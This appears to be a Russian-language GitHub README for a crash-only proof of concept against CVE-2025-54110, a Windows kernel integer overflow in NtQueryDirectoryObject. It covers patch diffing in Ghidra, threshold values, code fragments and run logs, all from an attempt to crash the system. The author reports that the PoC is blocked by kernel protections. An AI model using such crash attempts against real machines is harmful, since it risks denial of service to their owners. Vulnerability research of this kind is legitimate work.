
Дата проекта : Окт 2025 / реализация PoC для CVE-2025-54110 уязвимости целочисленного переполнения на уровне ядра в Windows системном вызове `NtQueryDirectoryObject`.
Реализация PoC для CVE-2025-54110 — уязвимости переполнения целого числа на уровне ядра в системном вызове Windows NtQueryDirectoryObject.
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
Этот репозиторий содержит Crash-Only PoC для уязвимости CVE-2025-54110 повышения привилегий ядра, разработанный исключительно для исследования безопасности, реверс-инжиниринга и исследований разработки эксплойтов. Этот код предназначен для демонстрации методов исследования уязвимостей, включая:
Этот PoC НЕ обеспечивает повышение привилегий или надежный BSOD. Он предназначен для безопасного вызова нарушений доступа, которые перехватываются защитой ядра Windows.
Дата публикации: Сентябрь 2025 (Windows Tuesday Security Patch)
| Свойство | Значение |
|---|---|
| CWE | CWE-190: Переполнение целого числа или циклический переход |
| Оценка CVSS 3.1 | 8.8 (Высокий) / 7.7 (Временная) |
| Вектор атаки | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| Вектор атаки | Локальный |
| Сложность атаки | Низкая |
| Необходимые привилегии | Низкие |
| Взаимодействие пользователя | Нет |
| Область действия | Изменена |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |
| Зрелость эксплойта | Не доказана |
Уязвимость переполнения целого числа в ядре Windows позволяет аутентифицированному злоумышленнику потенциально повысить привилегии локально. Согласно рекомендациям Microsoft:
"Злоумышленник может воспользоваться этой уязвимостью, отправив специально созданные данные из изолированного процесса в пользовательском режиме, чтобы вызвать переполнение целого числа, что приведет к переполнению буфера в ядре и позволит повысить привилегии или выйти из изолированной среды."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. Проанализированные файлы
Первоначальный анализ был сосредоточен на двух основных компонентах ядра:
#### win32k.sys (-)
- **Результат:** Значительных изменений не обнаружено
- **Диапазон оценок:** 0.97-1.0 (высокое сходство)
- **Заключение:** Не является уязвимым компонентом для CVE-2025-54110
#### ntoskrnl.exe (+)
- **Результат:** Множество функций со значительными изменениями
- **Диапазон оценок:** Функции с оценками ≤0.951
- **Различия в длине:** Обнаружены различия в длине байтов между исходным и целевым файлами
- **Всего экспортировано элементов:** 2,036 функций для анализа
### 3. Результаты отслеживания версий Ghidra
Пример выявленных изменений в `ntoskrnl.exe`:
| Оценка | Достоверность | Длина источника | Длина назначения | Исходная функция | Целевая функция |
|-------|---------------|-----------------|-----------------|------------------|-----------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## Заявление о PoC
### Технический подход
PoC (`precise_overflow_bsod.c`) пытается вызвать уязвимость целочисленного переполнения через:
1. **Точное вычисление порога:** `0xfffffdbc` (получено из base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Целевая функция для запуска переполнения
3. **Многофазная стратегия атаки:**
- Фаза 1: Попытки точного целочисленного переполнения
- Фаза 2: Нацеливание на память ядра
- Фаза 3: Многопоточная эксплуатация
### Структура кода```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
---
## Почему PoC не приводит к сбою системы
### Фактические результаты
PoC последовательно возвращает `STATUS_ACCESS_VIOLATION (0xC0000005)` без появления синего экрана смерти (BSOD). Это **сделано намеренно** и демонстрирует несколько критических механизмов безопасности ядра Windows:
### 1. Структурированная обработка исключений (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
Почему это работает:
Современная функция процессора, которая предотвращает доступ режима ядра (Ring 0) к памяти пользовательского режима (Ring 3) без явного разрешения:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**Влияние на PoC:**
- Даже если происходит переполнение, прямой доступ к памяти из ядра в пользовательское пространство блокируется
- Предотвращает эксплуатацию уязвимостей, связанных с разыменованием указателей
### 3. KASLR (Рандомизация макета адресного пространства ядра)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
Почему BSOD не происходит:
Windows 10+ реализует улучшенное обнаружение повреждения пула:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
---
## Анализ вывода выполнения PoC
### Ожидаемый вывод
Видите `STATUS_ACCESS_VIOLATION (0xC0000005)`, значит всё в порядке.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### Наблюдаемое поведение```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
Код состояния: 0xC0000005 = STATUS_ACCESS_VIOLATION
| Аспект | Интерпретация |
|---|---|
| Подтверждение уязвимости | (+) Путь кода достигает уязвимой функции |
| Проверка ввода | (!) Сформированный ввод вызывает аномальное поведение |
| Стабильность системы | (+) SEH предотвращает сбой; система остаётся стабильной |
| Достижение DoS | (-) Нет BSOD; обработка исключений успешна |
| Достижение EoP | (-) Нет повышения привилегий; контролируемый отказ |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## Образовательная ценность
### Что демонстрирует этот PoC
#### Результаты
1. **Методология сравнения патчей**
- Сравнение бинарных файлов до и после патча с помощью Ghidra
- Идентификация изменённых функций через отслеживание версий
- Анализ метрик сходства на основе баллов
2. **Архитектура ядра Windows**
- Понимание потока системных вызовов (`NtQueryDirectoryObject`)
- Распознавание границ между режимами ядра и пользователя
- Изучение внутренних функций NTAPI
3. **Поведение защитных механизмов**
- SEH в действии: перехват исключения против аварийного завершения системы
- SMAP предотвращает несанкционированный доступ к памяти
- KASLR не позволяет использовать статические адреса при эксплуатации
4. **Процесс исследования уязвимостей**
- Анализ CVE и сбор информации
- Обратная разработка изменений в бинарных файлах
- Проверка гипотез с помощью контролируемых попыток эксплуатации
#### Ограничения
1. **Современные механизмы защиты ядра эффективны**
- Простых попыток переполнения недостаточно
- Необходимо обойти несколько уровней защиты
- Статический анализ сам по себе не может предсказать возможность эксплуатации
2. **Разрыв между теорией и практикой**
- Целочисленное переполнение существует (теоретически)
- Практическая эксплуатация требует:
- Раскрытия информации (утечка адресов ядра)
- Формирования кучи / Фэн-шуй кучи
- ROP-цепочек или других примитивов выполнения кода
- Обхода DEP, CFG, HVCI и т.д.
---
## Приоритетные функции для анализа
Основываясь на характеристиках CVE-2025-54110 (Целочисленное переполнение → Переполнение буфера в ядре), приоритетно проверьте в экспортированном CSV функции, которые обрабатывают:
### Категории высокого приоритета```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
Шаг 1: Фильтр на основе оценок``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**Шаг 2: Поиск по ключевым словам**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
Шаг 3: Анализ перекрестных ссылок``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**Шаг 4: Изменение величины**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### Компиляция```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
# Using MinGW
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
```
### Выполнение```powershell
# Run with admin privileges
.\poc64.exe
```
**Ожидаемый вывод:**```
[+] Current user: DESKTOP-XXXXXXX\user
[+] Current PID: 1234
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD!
[!] Continue? (y/n): y
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[+] System is still running - protections may be active.
```
---
## Ресурсы и ссылки
### Официальные источники
- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Целочисленное переполнение или циклический обход](https://cwe.mitre.org/data/definitions/190.html)
- [Внутреннее устройство ядра Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)
### Инструменты для исследований
- [Ghidra - Комплект обратной разработки АНБ](https://ghidra-sre.org/)
- [WinDbg - Инструменты отладки Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)
### Дополнительное чтение
- [Разработка эксплойтов для ядра](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Эксплуатация уязвимостей ядра Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Сравнение патчей с помощью Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)
---
## Юридическое предупреждение
Этот код предоставляется ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ.
НЕ используйте этот код для:
• Несанкционированного доступа к компьютерным системам
• Злонамеренных атак или нанесения ущерба
• Любой незаконной деятельности
Автор НЕ несет ответственности за неправомерное использование.
Пользователи должны соблюдать все применимые законы.
**Используя этот код, вы подтверждаете:**
1. У вас есть разрешение на тестирование на целевых системах
2. Вы понимаете правовые последствия в вашей юрисдикции
3. Вы принимаете полную ответственность за свои действия
4. Это для обучения, а не для злонамеренной деятельности
---
## Юридическое предупреждение
Этот репозиторий предоставляется строго в образовательных целях, для исследований в области безопасности обороны и воспроизведения уязвимостей в контролируемых лабораторных условиях.
Информация и код доказательства концепции предназначены для помощи защитникам, исследователям и вендорам в понимании и устранении сообщенной уязвимости.
Несанкционированное или злонамеренное использование этого кода против систем без явного разрешения может нарушать применимые законы и правила.
Автор не поощряет и не оправдывает незаконную деятельность и не несет ответственности за неправомерное использование или ущерб, причиненный этим материалом.
Этот отчет о раскрытии уязвимости предоставляется для:
1. Исследований в области безопасности и обучения
2. Уведомления вендоров и разработки патчей
3. Защиты конечных пользователей
4. Академических и оборонных целей безопасности
**Запрещенное использование:**
- Несанкционированный доступ к компьютерным системам
- Злонамеренная эксплуатация
- Любая незаконная деятельность
Исследователь проводил все тестирования на личных системах в контролируемых средах. Несанкционированного доступа к сторонним системам не осуществлялось.
**Версия отчета:** 1.0
**Последнее обновление:** 9 февраля 2026 г.
---
## Контакты
Для законных запросов по исследованию безопасности или образовательного сотрудничества:
**Ответственное раскрытие:**
- Проблемы безопасности с этим PoC → Открыть GitHub Issue
- Реальная эксплуатация CVE-2025-54110 → Сообщите в [MSRC](https://msrc.microsoft.com/)
---
## Лицензия```
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.
```